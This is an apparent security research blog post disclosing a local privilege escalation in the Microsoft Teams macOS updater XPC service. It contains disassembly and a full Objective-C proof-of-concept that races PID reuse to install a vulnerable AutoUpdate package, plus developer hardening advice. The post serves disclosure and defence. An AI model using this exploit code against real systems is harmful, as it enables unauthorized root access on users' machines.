Blog
Nov 17, 2020
Microsoft Teams for macOS Local Privilege Escalation
Security researchers at Offensive Security discovered a vulnerability in the XPC service of Microsoft Teams. Here’s how it works and how to secure it.
13 min read
This blog post shares the details of a vulnerability Offensive Security discovered in the XPC service of Microsoft Teams. Although Microsoft secured these services reasonably well, we will see how small code mistakes can have serious impacts.
We reported the issue to MSRC, but unfortunately Microsoft decided that “the finding is valid but does not meet our bar for immediate servicing.” While they have since hardened the XPC service, it remains exploitable.
Root cause of the Vulnerability
The vulnerability is the result of two distinct issues, which if combined, result in an exploitable scenario. They are:
- Insecure XPC connection validation
- User control of the installation package and insufficient package signature validation
The XPC service is launched via the /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist
file.
% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o - <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.microsoft.teams.TeamsUpdaterDaemon</string> <key>MachServices</key> <dict> <key>com.microsoft.teams.TeamsUpdaterDaemon</key> <true/> </dict> <key>Program</key> <string>/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon</string> </dict> </plist>
Listing 1 – Microsoft Teams Updater launchd file
It contains a Mach service name, com.microsoft.teams.TeamsUpdaterDaemon
with the executable path /Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon
. This is a highly unusual location, as similar services are normally installed under the /Library/PrivilegedHelperTools/
directory.
If we open this binary file with Hopper (or any other disassembler), we can start our investigation with the shouldAcceptNewConnection:
method. This method is normally responsible for controlling connection access to the XPC service.
/* @class ServiceDelegate */ -(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 { r12 = [arg3 retain]; rdx = r12; r14 = [self isValidConnection:rdx];
Listing 2 – The beginning of the shouldAcceptNewConnection: method
The shouldAcceptNewConnection:
method accepts an NSXPCConnection object as its argument, which contains a reference to the connecting client. This argument is arg3 in this case, and is immediately passed into the isValidConnection:
method which verifies the connecting client. Let’s analyze the isValidConnection:
method in our disassembler.
-(char)isValidConnection:(void *)arg2 { r13 = [arg2 retain]; rbx = [[Logger getInstance] retain]; [rbx logInfo:@"Validating connection"]; [rbx release]; rbx = [arg2 processIdentifier];
Listing 3 – The beginning of the isValidConnection: method
The isValidConnection:
method will obtain the PID of the client that will be later used for validation. If the developers used the auditToken
property instead of the PID, the XPC service would be able to validate that the connecting service is the expected one. However, because a PID can be reused or new processes can be spawned and inherit the PID of the parent, it is possible to bypass the validation.
The exact validation of the connection via the processIdentifier
is complex and out of scope for this post. However, because it uses PID, we can always bypass the validation.
There is another issue that we can discover by reviewing the code signature of the main application:
% codesign -dv --entitlements :- /Applications/Microsoft Teams.app Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams Identifier=com.microsoft.teams Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded Signature size=9060 Timestamp=2020. Jun 4. 3:32:37 Info.plist entries=17 TeamIdentifier=UBF8T346G9 Runtime Version=10.12.0 Sealed Resources version=2 rules=13 files=128 Internal requirements count=1 size=180 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.device.camera</key> <true/> <key>com.apple.security.device.audio-input</key> <true/> <key>com.apple.security.personal-information.location</key> <true/> <key>com.apple.security.automation.apple-events</key> <true/> <key>com.apple.security.cs.allow-jit</key> <true/> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true/> <key>com.apple.security.cs.disable-library-validation</key> <true/> <key>com.apple.security.cs.disable-executable-page-protection</key> <true/> </dict> </plist>
Listing 4 – Code signature of “Microsoft Teams.app”
Even if audit_token is used, the MS Teams application is vulnerable to a dylib proxying attack because the com.apple.security.cs.disable-library-validation
entitlement is set to true. This would allow us to inject a dylib into the application, and impersonate it when connecting to the XPC service.
Although the app’s folder is only writable by the root user, and we can’t replace any dylib inside, a malicious actor can still copy it to another location (e.g.: /tmp/) and inject into the copied application.
We can see that there are a number of dylibs in the app’s folder that are candidates for hijacking.
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib /Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib
Listing 5 – Dylibs in “Microsoft Teams.app”
Now that we’ve found various ways to talk to the service, we need to check if the XPC service offers any functionality that can be abused. Running class-dump against the service binary, /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon
allows us to dump the methods of the service. After reviewing the output, we find TeamsUpdaterDaemonProtocol
, which defines the methods that are callable through the XPC connection.
@protocol TeamsUpdaterDaemonProtocol - (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3; - (void)ping:(void (^)(void))arg1; @end
Listing 6 – TeamsUpdaterDaemonProtocol definition
Let’s load installUpdateWithPackage:withPreferences:withReply:
in Hopper and see what it does. It’s a rather lengthy function, but a snippet with the key parts is shown below.
1 -(void)installUpdateWithPackage:(void *)arg2 withPreferences:(void *)arg3 withReply:(void *)arg4 { 2 r13 = [arg2 retain]; 3 (...) 4 var_278 = r13; 5 rcx = r13; 6 (...) 7 rbx = [[NSString stringWithFormat:@"inside installUpdateWithPackage. packagePath: %@", rcx] retain]; 8 (...) 9 r15 = var_278; 10 (...) 11 rdx = r15; 12 if ([rax fileExistsAtPath:rdx] == 0x0) goto loc_100006043; 13 (...) 14 [Utility clearPkgsInAppSupport]; 15 rax = [Utility copyPkgToAppSupport:r15]; 16 (...) 17 r12 = rax; 18 if ([Utility lockPackage:r12] == 0x0) goto loc_100006350; 19 (...) 20 if ((r13)(r14, @selector(validatePackage:), r12) == 0x0) goto loc_10000653c; 21 (...) 22 rdx = r12; 23 (...) 24 (r13)(r14, @selector(installPackage:withPreferences:), rdx, rcx, 0x0);
Listing 7 – Key parts of installUpdateWithPackage:withPreferences:withReply:
The installUpdateWithPackage:withPreferences:withReply:
method accepts a package path as an argument. The path is user controlled and can be anywhere on the file system. The method will check if the file exists (line 12) and if so, it will clean up the application support folder (line 14). Next, the method will invoke copyPkgToAppSupport:
(line 15) to copy the package to the app support folder, where only the root user has access. It will lock the copied file (line 18) and validate it (line 20). This is important as after it has been copied, we no longer have control over the package.
Once the package has been copied, the following validatePackage:
method will be called.
-(bool)validatePackage:(void *)arg2 { (...) r13 = [[NSTask alloc] init]; [r13 setLaunchPath:@"/usr/sbin/pkgutil"]; var_30 = r14; rcx = r14; rbx = [[NSArray arrayWithObjects:@"--check-signature"] retain]; [r13 setArguments:rbx]; [rbx release]; rbx = [[Logger getInstance] retain]; [rbx logInfo:@"launching pkgutil task"]; (...) if (r15 != 0x0) { rsi = @selector(logError:); rdx = @"pkgutil verification failed"; (*_objc_msgSend)(rbx, rsi); [rbx release]; rbx = 0x0; r14 = var_30; } else { [rbx logInfo:@"pkgutil verification passed. Checking certificate chain...", rcx, 0x0]; [rbx release]; r14 = var_30; r15 = _FValidMicrosoftPackage([objc_retainAutorelease(r14) UTF8String], @selector(UTF8String)); (...)
Listing 8 – The validatePackage: method
The validatePackage:
method will use pkgutil to check if the package is code signed. If so, it will call _FValidMicrosoftPackage
.
int _FValidMicrosoftPackage(int arg0, int arg1) { (...) rbx = _FCertContainsIdentityForKey(r15, rsi, @"Microsoft Corporation"); r13 = **_kSecOIDOrganizationalUnitName; r14 = _FCertContainsIdentityForKey(r15, r13, @"UBF8T346G9") & rbx; rbx = **_kSecOIDX509V1IssuerName; var_29 = _FCertContainsIdentityInOIDForKey(r15, rbx, var_58, @"Apple Inc."); var_48 = rbx; var_50 = r13; rbx = _FCertContainsIdentityInOIDForKey(r15, rbx, r13, @"Apple Certification Authority") & var_29; r13 = SecPolicyCreateBasicX509(); var_68 = r15; if (r13 != 0x0) { var_38 = 0x0; rax = SecTrustCreateWithCertificates(r15, r13, &var_38); r15 = 0x0; if (rax == 0x0) { r15 = 0x0; if (0x0 != 0x0) { var_29 = rbx; SecTrustEvaluate(0x0, &var_74); if (var_74 == 0x4) { rax = SecTrustGetCertificateCount(0x0); if (rax > 0x0) { r15 = SecTrustGetCertificateAtIndex(0x0, rax - 0x1); r15 = _FCertContainsIdentityInOIDForKey(r15, var_48, var_50, @"Apple Certification Authority") & _FCertContainsIdentityInOIDForKey(r15, var_48, var_58, @"Apple Inc.") & _FCertContainsIdentityForKey(r15, var_50, @"Apple Certification Authority"); (...)
Listing 9 – The _FValidMicrosoftPackage function
The _FValidMicrosoftPackage
function is responsible for validating Microsoft’s signature. The verification is done correctly but critically, it does not prevent the installation of an older, vulnerable Microsoft application. A similar exploitation path with another Microsoft service using a vulnerable Silverlight installer has been discussed in the past: CVE-2018–8412: MS Office 2016 for Mac Privilege Escalation via a Legacy Package
In summary, we found that we can either perform a dylib hijacking or PID reuse attack to talk to the XPC service of MS Teams. The service exposes a function that allows us to install a custom Microsoft-signed installer package. While the signature verification is done correctly, this still allows us to install old Microsoft applications which may contain known vulnerabilities.
Exploitation of Microsoft Teams
In order to exploit the Teams application, we first need to connect to the XPC service. For this, we used the classic race condition PID reuse attack. Because each call to the XPC service will execute the clearPkgsInAppSupport:
method, and the contents of the app support folder will be deleted, we only need to win the race condition once. If we were to win the race condition again, the files copied will be deleted, resulting in a failed exploit.
Once we can communicate with the XPC service, we will install Microsoft AutoUpdate (MAU) 4.20 which suffers from a local privilege escalation vulnerability. The CVE for this vulnerability is CVE-2020-0984, and more details are covered here.
Our exploit plan is as follows:
- Talk to the XPC service via PID reuse attack
- Install a vulnerable version of Microsoft AutoUpdate
- Exploit the privilege escalation vulnerability (CVE-2020-0984) in the MAU XPC service
Before we run the exploit, we need to place the vulnerable MAU installer in the correct location. We will download the Microsoft_AutoUpdate_4.20.20020900_Updater.pkg package and place it in the /tmp/ directory. Then we can call the installUpdateWithPackage:withPreferences:withReply:
method of the XPC service and perform a PID reuse attack.
The full proof of concept code can be found below.
#import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> @protocol TeamsUpdaterDaemonProtocol - (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3; - (void)ping:(void (^)(void))arg1; @end int main(void) { //Only 2 is the race count, more than that will result in deletion of our own pkg files #define RACE_COUNT 2 // Define application allowed to communicate with XPC service #define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams" extern char **environ; int pids[RACE_COUNT]; for (int i = 0; i < RACE_COUNT; i++) { int pid = fork(); //Only enter for child process if (pid == 0) { NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon"; //Connect to Vulnerable XPC Service NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]]; [_agentConnection resume]; // Handle error if one occurs id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) { (void)error; NSLog(@"Connection Failure"); }]; NSLog(@"obj: %@", obj); NSLog(@"conn: %@", _agentConnection); //run MS installer //pkg path NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg"; //preferences dictionary objects, a random UID, and the current user's name NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()] forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]]; //call the XPC [obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){ NSLog(@"%@",arg3); }]; //Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams //Once the connection is verified with the valid spawned process, the message sent above will be consumed char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); } printf("forked %dn", pid); pids[i] = pid; } // keep the children alive sleep(10); cleanup: for (int i = 0; i < RACE_COUNT; i++) { pids[i] && kill(pids[i], 9); } }
Listing 10 – The full POC for MS Teams
We can compile this code with the following command:
gcc -framework Foundation msteamspid.m -o msteamspid
Listing 11 – Compile the MS Teams exploit
Once we run the exploit, we need to check whether the MAU package has been installed. As the exploit uses a race condition, we might need to run it multiple times. Depending on the speed of the machine, the RACE_COUNT variable might need to be adjusted.
Looking at the XPC service logs located at /Library/Logs/Microsoft/Teams/updater.log
, the following entry should show up exactly once, otherwise the exploit will fail.
2020-07-05 15:35:28 [TeamsUpdaterDaemon] <727> -- Info -- Connection validated
Listing 12 – XPC client code verification failure in the logs
The entry shown in listing 12 indicates a successful client validation. As discussed earlier, multiple calls to installUpdateWithPackage:withPreferences:withReply:
will result in the removal of the pkg file during the clearPkgsInAppSupport:
call and the installation will fail.
Once we successfully exploit Microsoft Teams, we need to exploit the MAU application which was just installed via the XPC call. The MAU exploitation can be accomplished by injecting a dylib from an even older version of Microsoft AutoUpdate. The details of this exploit are beyond the scope of this post. The full details of the MAU exploit can be found here.
As we saw in this case, even a proper signature verification can lead to issues, as older code can still satisfy the requirements.
Advice for developers
We recommend the following practices to make a connection validation secure against similar attacks.
The client process verification in the shouldAcceptNewConnection:
call should occur based on the audit_token and not the PID. The code signing validation of the client must ensure that it is dealing with a valid application from the expected organization.
Additionally, the client must be hardened against injection attacks. This can be accomplished by compiling the client with a hardened runtime or with library validation. The client also must not have the com.apple.security.cs.disable-library-validation or com.apple.security.get-task-allow
entitlements, since these would allow other processes to inject code into the app, resulting in malicious processes communicating with the XPC service.
Wrap up
In this post we discussed an XPC vulnerability in Microsoft Teams, which was due to the combination of two small issues in the XPC service. Eliminating one can prevent the exploit.
The application is vulnerable to improper client verification in the XPC helper tool. Generally speaking, not securing this connection properly allows other applications to connect and call the methods exposed by the service. This often leads to privilege escalation scenarios, thus making this validation crucial from a security perspective.
Microsoft silently fixed the PID reuse issue, however the client application is still vulnerable for injection and someone could still talk to the XPC service. Exploiting this scenario remains an exercise to the reader.
About the Author
Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity, hack.lu, Troopers, SecurityFest, DEFCON, and Objective By The Sea.
Latest from OffSec
OffSec News
OffSec Yearly Recap 2024
Join us as we explore all our successes in 2024, including exciting new content, courses, and so much more!
Dec 23, 2024
8 min read
Enterprise Security
Red Team vs Blue Team in Cybersecurity
Learn what a red team and blue team in cybersecurity are, pros and cons of both, as well as how they work together.
Dec 13, 2024
13 min read
Enterprise Security
Building a Future-Ready Cybersecurity Workforce: The OffSec Approach to Talent Development
Learn all about our recent webinar “Building a Future-Ready Cyber Workforce: The OffSec Approach to Talent Development”.
Dec 13, 2024
4 min read